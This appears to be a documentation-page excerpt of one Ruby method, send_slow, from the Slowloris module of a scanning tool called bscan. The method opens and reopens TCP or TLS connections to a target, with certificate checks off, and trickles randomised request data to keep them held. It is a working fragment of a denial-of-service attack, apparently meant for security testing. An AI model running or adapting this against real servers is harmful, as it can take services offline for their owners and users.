184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
|
# File 'lib/bscan/modules/slowloris.rb', line 184
def send_slow host,port,req,proto,t,con,reopen=true
@bscan.activity[0]=true
begin
s = @threadinfo[t][con]
rndr = random_url(req)
if !s || s.closed? || s.syswrite(rndr) != rndr.length
s.close if s && !s.closed?
raise "can't send more, connection closed #{host} #{port} #{t} #{con}" if not reopen
@bscan.Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con}"
s = TCPSocket.new(host, port)
if (proto =~ /https/i)
ctx = OpenSSL::SSL::SSLContext.new
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
s = OpenSSL::SSL::SSLSocket.new(s, ctx)
s.connect
end
update_info t,con,s
end
s.syswrite(rndr)
@bscan.Log 2, "#{@mid}send_slow succeeded for #{t} #{con} #{rndr}"
@bscan.Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
rescue Exception => e
@bscan.Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message}"
begin
s.close
rescue
end
update_info t,con,nil
end
end
|